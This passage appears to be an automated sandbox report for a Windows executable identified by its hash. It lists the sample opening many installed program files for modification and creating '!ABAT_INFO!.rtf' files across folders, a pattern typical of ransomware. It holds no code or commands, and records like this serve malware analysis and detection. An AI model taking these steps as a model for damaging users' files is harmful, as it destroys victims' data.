81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-core-io-ui.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\SystemV\PST8 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\weblink.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateComRegisterShell64.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.service.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.expressions_3.4.600.v20140128-0851.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.lucene.core_3.5.0.v20120725-1805.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.updatechecker.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Port-au-Prince 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\Cartridges\msjet.xsl 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\Visualizer.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Montevideo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Rarotonga 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticnotification.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security_1.2.0.v20130424-1801.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_TW.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\wsgen.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\NOTICE 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jvmti.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jre7\lib\zi\America\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\nb.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_xml.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\v8_context_snapshot.bin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AGMGPUOptIn.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Bogota 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-host.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Araguaina 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\plugins.dat 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ja_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\win32_LinkNoDrop32x32.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Indiana\Indianapolis 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jerusalem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Anadyr 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\UnlockSet.mpp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\default_apps\gmail.crx 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\ar.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyrun.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\jabswitch.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunmscapi.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Anadyr 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\updater_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Regular.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Berlin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\kinit.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Chuuk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\nl.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Saipan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.servlet_8.1.14.v20131031.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\localedata.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\QRCode.pmp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\SaslPrepProfile_norm_bidi.spp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.historicaldata_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\javax.servlet.jsp_2.2.0.v201112011158.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\dnsns.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PPKLite.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\cmm\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\meta-index 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-9 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-6 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\EST5 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.resources_3.9.1.v20140825-1431.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\THIRDPARTYLICENSEREADME.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sa_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\koreus.luac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\AssemblyInfoInternal.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\jaccess.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\pack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\et.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.rcp_4.3.100.v20141007-2301.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\jfluid-server_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PDDom.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerActionExceptionHandlers.exsd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base_4.0.200.v20141007-2301.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\El_Salvador 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-lib-uihandler.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Menominee 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\master_preferences 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.bidi_0.10.0.v20130327-1442.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\logging.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\en-US\JNTFiltr.dll.mui 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Uzhgorod 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-progress_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Manaus 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\jmxremote.access 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Syowa 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+1 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Winamac 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\.eclipseproduct 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\deploy\messages_zh_HK.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\servertool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jmx_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroTextExtractor.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\day-of-week-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Checkers.api 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\Vdk10.lng 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Antigua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\asl-v20.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program 